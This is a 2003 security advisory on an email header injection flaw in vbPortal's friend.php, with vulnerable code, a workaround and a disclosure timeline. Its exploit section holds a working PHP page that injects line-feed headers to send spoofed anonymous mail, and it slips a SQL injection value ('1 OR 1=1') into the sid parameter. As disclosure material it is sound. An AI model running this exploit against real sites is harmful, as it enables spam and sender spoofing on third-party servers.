SCSA021.txt

`======================================================================  
Security Corporation Security Advisory [SCSA-021]   
  
Anonymous Mail Forwarding Vulnerabilities in vbPortal  
======================================================================   
  
PROGRAM: vbPortal  
HOMEPAGE: http://www.vbportal.com  
VULNERABLE VERSIONS: 2.0 alpha 8.1 and Prior ?  
RISK: Low  
IMPACT: Allows Unauthorized Users to Send Mail Anonymously  
RELEASE DATE: 2003-11-22   
  
  
======================================================================  
TABLE OF CONTENTS  
======================================================================   
  
1..........................................................DESCRIPTION  
2..............................................................DETAILS  
3.............................................................EXPLOITS  
4............................................................SOLUTIONS  
5...........................................................WORKAROUND  
6..................................................DISCLOSURE TIMELINE  
7..............................................................CREDITS  
8...........................................................DISCLAIMER  
9...........................................................REFERENCES  
10............................................................FEEDBACK   
  
  
1. DESCRIPTION  
======================================================================   
  
"vBPortal is a addon to the already popular message board software  
called vB developed by www.vbulletin.com. vBPortal has came a  
long way, and the new version 3.0 has a lot of great features and  
functions. Intergrating phpnuke's functions and abilities to easily  
add modules and addons has added greater abilities. Simply it adds  
a frontpage, and utilizies vb's abilities and expands on that"   
  
(direct quote from http://www.vbportal.com)   
  
  
2. DETAILS  
======================================================================   
  
- Anonymous Mail Forwarding :   
  
A vulnerability has been discovered in the friend.php file that  
allows unauthorized users to send spam (junk mail) anonymously.   
  
Vulnerable code :   
  
<?   
  
[...]  
function SendStory($sid, $yname, $ymail, $fname, $fmail) {  
global $sitename, $nukeurl, $prefix;   
  
$result2=mysql_query("select title, time, topic from $prefix"._stories."  
where sid=$sid");  
list($title, $time, $topic) = mysql_fetch_row($result2);   
  
$result3=mysql_query("select topictext from $prefix"._topics." where  
topicid=$topic");  
list($topictext) = mysql_fetch_row($result3);   
  
$subject = ""._INTERESTING." $sitename";  
$message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname  
"._CONSIDERED."\n\n\n$title\n("._FDATE." $time)\n"._FTOPIC."  
$topictext\n\n"._URL.": $nukeurl/article.php?sid=$sid\n\n"._YOUCANREAD."  
$sitename\n$nukeurl";  
mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer:  
PHP/" . phpversion());  
$title = urlencode($title);  
$fname = urlencode($fname);  
Header("Location: friend.php?op=StorySent&title=$title&fname=$fname");  
}  
[...]  
function SendSite($yname, $ymail, $fname, $fmail) {  
global $sitename, $slogan, $nukeurl;  
$subject = ""._INTSITE." $sitename";  
$message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._OURSITE."  
$sitename "._INTSENT."\n\n\n"._FSITENAME." $sitename\n$slogan\n"._FSITEURL."  
$nukeurl\n";  
mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer:  
PHP/" . phpversion());  
Header("Location: friend.php?op=SiteSent&fname=$fname");  
}  
[...]  
switch($op) {  
case "SendStory":  
SendStory($sid, $yname, $ymail, $fname, $fmail);  
break;  
[...]  
case "SendSite":  
SendSite($yname, $ymail, $fname, $fmail);  
break;  
[...]   
  
}  
?>   
  
Both functions SendStory () and SendSite () send emails.  
Two variables are (yname and ymail) modifiable in the headers.  
An attacker can so inject what he wants, by using the character  
LF (line feed), %0A in ASCII.   
  
  
3. EXPLOITs  
======================================================================   
  
- Anonymous Mail Forwarding :   
  
Here is an example of simple application that changes the mail via  
variables ymail and fname.   
  
We can here choose the sender, the name of the sender, the addressee,  
the type of the message, the message and add a subject while having  
the choice between both vulnerable functions.   
  
<?  
if (!isset($Send)){  
?>   
  
<form action="<? echo $PHP_SELF; ?>">  
URL : <input type="text" name="url"><br>  
From : <input type="text" name="from"><br>  
Your Name : <input type="text" name="yname"><br>  
To : <input type="text" name="fmail"><br>  
Content Type : <input type="text" name="contenttype" value="text/plain"><br>  
Subject To Add : <input type="text" name="newsubject"><br>  
Op. : <br>  
<input type="radio" checked name="op" value="SendSite">SendSite<br>  
<input type="radio" name="op" value="SendStory">SendStory<br>  
Message : <br><br><textarea name="message" rows="6" cols="50"></textarea>  
<br><br><input type="submit" name="Send" value="Verify">  
</form>   
  
<?  
}else{   
  
echo "URL : ".$url."<br>";  
echo "From: ".$from."<br>";  
echo "Your Name: ".$yname."<br>";  
echo "To: ".$fmail."<br>";  
echo "Content Type: ".$contenttype."<br>";  
echo "Added Subject: ".$newsubject."<br>";  
echo "Message : <br><br>".str_replace("\n","<br>",$message);   
  
if ($op=="SendStory"){ $sid="1%20OR%201=1"; }   
  
$ymail=$from.">%0A";  
$ymail.="Subject:".$newsubject."%0A";  
$ymail.="Content-Type:multipart/mixed;%20boundary=Anonymous;";  
$ymail.="%0A%0A%0A";  
$fname="%0A--Anonymous%0A";  
$fname.="Content-Type:".$contenttype."%0A%0A";  
$fname.=str_replace("\n","%0A",$message);  
$fname.="%0A%0A%0A";  
$fname.="--Anonymous--";  
$fname.="%0A%0A%0A";   
  
$url.="/friend.php?sid=".$sid."&op=".$op."&yname=".$yname."&ymail=".$ymail."   
&fmail=".$fmail."&fname=".$fname;   
  
echo "<br><br><b><a href=\"$url\">Ok, Mail It</a></b>";  
}  
?>   
  
Let us remind that the user chosen in the request of this exploit  
(the first registered) will receive too a copy of the mail,  
because an addressee was already defines.   
  
Ours will come to add later.   
  
  
4. SOLUTIONS  
======================================================================   
  
You can found a patch at the following link : http://www.phpsecure.info   
  
Version 3.0b have been fixed   
  
  
5. WORKAROUND  
======================================================================   
  
For Version 2.0 alpha 8.1 add simply the following line in  
friend.php file just before "switch($op) {" :   
  
------SNIP-------   
  
if (eregi("\n",$yname) OR eregi("\n",$ymail) OR eregi("\r",$yname) OR  
eregi("\r",$ymail)){  
die("Patched");  
}   
  
------SNIP-------   
  
  
6. DISCLOSURE TIMELINE  
======================================================================   
  
12/11/2003 Vulnerability discovered  
12/11/2003 Vendor notified  
12/11/2003 Vendor response  
13/11/2003 Security Corporation clients notified  
13/11/2003 Started e-mail discussions  
21/11/2003 Last e-mail received  
22/11/2003 Public disclosure   
  
  
7. CREDITS  
======================================================================   
  
frog-m@n <[email protected]> is credited with this discovery   
  
  
8. DISLAIMER  
======================================================================   
  
The information within this paper may change without notice. Use of  
this information constitutes acceptance for use in an AS IS condition.  
There are NO warranties with regard to this information. In no event  
shall the author be liable for any damages whatsoever arising out of  
or in connection with the use or spread of this information. Any use  
of this information is at the user's own risk.   
  
  
9. REFERENCES  
======================================================================   
  
- Original Version:  
http://www.security-corporation.com/advisories-021.html   
  
- Version Française:  
http://www.security-corporation.com/index.php?id=advisories&a=021-FR   
  
  
10. FEEDBACK  
======================================================================   
  
Please send suggestions, updates, and comments to:   
  
Security Corporation  
http://www.security-corporation.com  
[email protected]   
  
`